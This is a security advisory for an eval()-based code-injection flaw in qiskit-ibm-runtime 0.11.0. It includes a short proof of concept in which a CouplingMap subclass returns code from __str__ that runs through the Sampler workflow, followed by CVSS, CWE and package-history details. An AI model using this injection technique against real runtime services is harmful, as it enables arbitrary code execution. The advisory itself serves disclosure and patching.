Dynamic Variable Evaluation in qiskit-ibm-runtime
Summary
An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.
Details
PoC
A local exploit would be something like
from qiskit import transpiler
class BadActor(transpiler.CouplingMap):
def __str__(self):
return "print('external code')"
Where print("external code") can be any arbitrary python code string.
Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit
cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))
bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()
with Session(service=service, backend="ibmq_qasm_simulator") as session:
sampler = Sampler(session=session, options=options).run(bell)
This will print external code
Impact
Security vulnerability.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | qiskit-ibm-runtime | >= 0.11.0, < 0.11.1 | 0.11.1 |
Referencias
- Vector CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N- Debilidad (CWE)
CWE-627- Plataforma
- Python (PyPI)
- Paquete
qiskit-ibm-runtime- Publicada
- 20.03.2024
- Actualizado
- 11.10.2026 12:18
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-cq96-9974-v8hm - CC BY 4.0
Historial de vulnerabilidades: qiskit-ibm-runtime
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 03.2024 03.2024
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Media 1
- Baja 1
Divulgaciones por año
- 2024: 2
- 2025: 0
- 2026: 0
-
Dynamic Variable Evaluation in qiskit-ibm-runtime esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.